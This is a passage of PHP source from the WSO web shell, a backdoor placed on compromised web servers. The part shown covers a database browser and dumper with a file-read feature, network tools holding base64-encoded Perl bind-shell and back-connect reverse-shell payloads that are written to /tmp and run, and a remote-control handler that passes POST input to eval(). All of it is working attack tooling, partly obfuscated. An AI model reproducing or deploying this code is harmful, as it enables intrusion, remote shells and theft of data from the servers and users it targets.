1478 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1479 if ($fp)
1480 fwrite($fp, $sql);
1481 else
1482 echo ($sql);
1483 }
1484 break;
1485 }
1486 return false;
1487 }
1488 }
1489 ;
1490 $db = new DbClass($_POST['type']);
1491 if (@$_POST['p2'] == 'download') {
1492 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1493 $db->selectdb($_POST['sql_base']);
1494 switch ($_POST['charset']) {
1495 case "Windows-1251":
1496 $db->setCharset('cp1251');
1497 break;
1498 case "UTF-8":
1499 $db->setCharset('utf8');
1500 break;
1501 case "KOI8-R":
1502 $db->setCharset('koi8r');
1503 break;
1504 case "KOI8-U":
1505 $db->setCharset('koi8u');
1506 break;
1507 case "cp866":
1508 $db->setCharset('cp866');
1509 break;
1510 }
1511 if (empty($_POST['file'])) {
1512 ob_start("ob_gzhandler", 4096);
1513 header("Content-Disposition: attachment; filename=dump.sql");
1514 header("Content-Type: text/plain");
1515 foreach ($_POST['tbl'] as $v)
1516 $db->dump($v);
1517 exit;
1518 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1519 foreach ($_POST['tbl'] as $v)
1520 $db->dump($v, $fp);
1521 fclose($fp);
1522 unset($_POST['p2']);
1523 } else
1524 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1525 }
1526 wsoHeader();
1527 echo "
1528<h1>Sql browser</h1><div class=content>
1529<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1530<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1531<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1532<td><select name='type'><option value='mysql' ";
1533 if (@$_POST['type'] == 'mysql')
1534 echo 'selected';
1535 echo ">MySql</option><option value='pgsql' ";
1536 if (@$_POST['type'] == 'pgsql')
1537 echo 'selected';
1538 echo ">PostgreSql</option></select></td>
1539<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
1540<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
1541<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
1542 $tmp = "<input type=text name=sql_base value=''>";
1543 if (isset($_POST['sql_host'])) {
1544 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1545 switch ($_POST['charset']) {
1546 case "Windows-1251":
1547 $db->setCharset('cp1251');
1548 break;
1549 case "UTF-8":
1550 $db->setCharset('utf8');
1551 break;
1552 case "KOI8-R":
1553 $db->setCharset('koi8r');
1554 break;
1555 case "KOI8-U":
1556 $db->setCharset('koi8u');
1557 break;
1558 case "cp866":
1559 $db->setCharset('cp866');
1560 break;
1561 }
1562 $db->listDbs();
1563 echo "<select name=sql_base><option value=''></option>";
1564 while ($item = $db->fetch()) {
1565 list($key, $value) = each($item);
1566 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1567 }
1568 echo '</select>';
1569 } else
1570 echo $tmp;
1571 } else
1572 echo $tmp;
1573 echo "</td>
1574 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1575 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1576 </tr>
1577 </table>
1578 <script>
1579 s_db='" . @addslashes($_POST['sql_base']) . "';
1580 function fs(f) {
1581 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1582 if(f.p1) f.p1.value='';
1583 if(f.p2) f.p2.value='';
1584 if(f.p3) f.p3.value='';
1585 }
1586 }
1587 function st(t,l) {
1588 d.sf.p1.value = 'select';
1589 d.sf.p2.value = t;
1590 if(l && d.sf.p3) d.sf.p3.value = l;
1591 d.sf.submit();
1592 }
1593 function is() {
1594 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1595 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1596 }
1597 </script>";
1598 if (isset($db) && $db->link) {
1599 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1600 if (!empty($_POST['sql_base'])) {
1601 $db->selectdb($_POST['sql_base']);
1602 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1603 $tbls_res = $db->listTables();
1604 while ($item = $db->fetch($tbls_res)) {
1605 list($key, $value) = each($item);
1606 if (!empty($_POST['sql_count']))
1607 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1608 $value = htmlspecialchars($value);
1609 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1610 }
1611 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1612 if (@$_POST['p1'] == 'select') {
1613 $_POST['p1'] = 'query';
1614 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1615 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1616 $num = $db->fetch();
1617 $pages = ceil($num['n'] / 30);
1618 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int) $_POST['p3']) . ">";
1619 echo " of $pages";
1620 if ($_POST['p3'] > 1)
1621 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1622 if ($_POST['p3'] < $pages)
1623 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1624 $_POST['p3']--;
1625 if ($_POST['type'] == 'pgsql')
1626 $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1627 else
1628 $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1629 echo "<br><br>";
1630 }
1631 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1632 $db->query(@$_POST['p2']);
1633 if ($db->res !== false) {
1634 $title = false;
1635 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1636 $line = 1;
1637 while ($item = $db->fetch()) {
1638 if (!$title) {
1639 echo '<tr>';
1640 foreach ($item as $key => $value)
1641 echo '<th>' . $key . '</th>';
1642 reset($item);
1643 $title = true;
1644 echo '</tr><tr>';
1645 $line = 2;
1646 }
1647 echo '<tr class="l' . $line . '">';
1648 $line = $line == 1 ? 2 : 1;
1649 foreach ($item as $key => $value) {
1650 if ($value == null)
1651 echo '<td><i>null</i></td>';
1652 else
1653 echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1654 }
1655 echo '</tr>';
1656 }
1657 echo '</table>';
1658 } else {
1659 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1660 }
1661 }
1662 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1663 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1664 echo htmlspecialchars($_POST['p2']);
1665 echo "</textarea><br/><input type=submit value='Execute'>";
1666 echo "</td></tr>";
1667 }
1668 echo "</table></form><br/>";
1669 if ($_POST['type'] == 'mysql') {
1670 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1671 if ($db->fetch())
1672 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1673 }
1674 if (@$_POST['p1'] == 'loadfile') {
1675 $file = $db->loadFile($_POST['p2']);
1676 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1677 }
1678 } else {
1679 echo htmlspecialchars($db->error());
1680 }
1681 echo '</div>';
1682 wsoFooter();
1683}
1684function actionNetwork()
1685{
1686 wsoHeader();
1687 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1688 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1689 echo "<h1>Network tools</h1><div class=content>
1690 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1691 <span>Bind port to /bin/sh [perl]</span><br/>
1692 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1693 </form>
1694 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1695 <span>Back-connect [perl]</span><br/>
1696 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1697 </form><br>";
1698 if (isset($_POST['p1'])) {
1699 function cf($f, $t)
1700 {
1701 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1702 if ($w) {
1703 @fwrite($w, @base64_decode($t));
1704 @fclose($w);
1705 }
1706 }
1707 if ($_POST['p1'] == 'bpp') {
1708 cf("/tmp/bp.pl", $bind_port_p);
1709 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1710 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1711 unlink("/tmp/bp.pl");
1712 }
1713 if ($_POST['p1'] == 'bcp') {
1714 cf("/tmp/bc.pl", $back_connect_p);
1715 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1716 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1717 unlink("/tmp/bc.pl");
1718 }
1719 }
1720 echo '</div>';
1721 wsoFooter();
1722}
1723function actionRC()
1724{
1725 if (!@$_POST['p1']) {
1726 $a = array(
1727 "uname" => php_uname(),
1728 "php_version" => phpversion(),
1729 "wso_version" => WSO_VERSION,
1730 "safemode" => @ini_get('safe_mode')
1731 );
1732 echo serialize($a);
1733 } else {
1734 eval($_POST['p1']);
1735 }
1736}
1737if (empty($_POST['a']))
1738 if (isset($default_action) && function_exists('action' . $default_action))
1739 $_POST['a'] = $default_action;
1740 else
1741 $_POST['a'] = 'SecInfo';
1742if (!empty($_POST['a']) && function_exists('action' . $_POST['a']))
1743 call_user_func('action' . $_POST['a']);
1744exit;
1745?>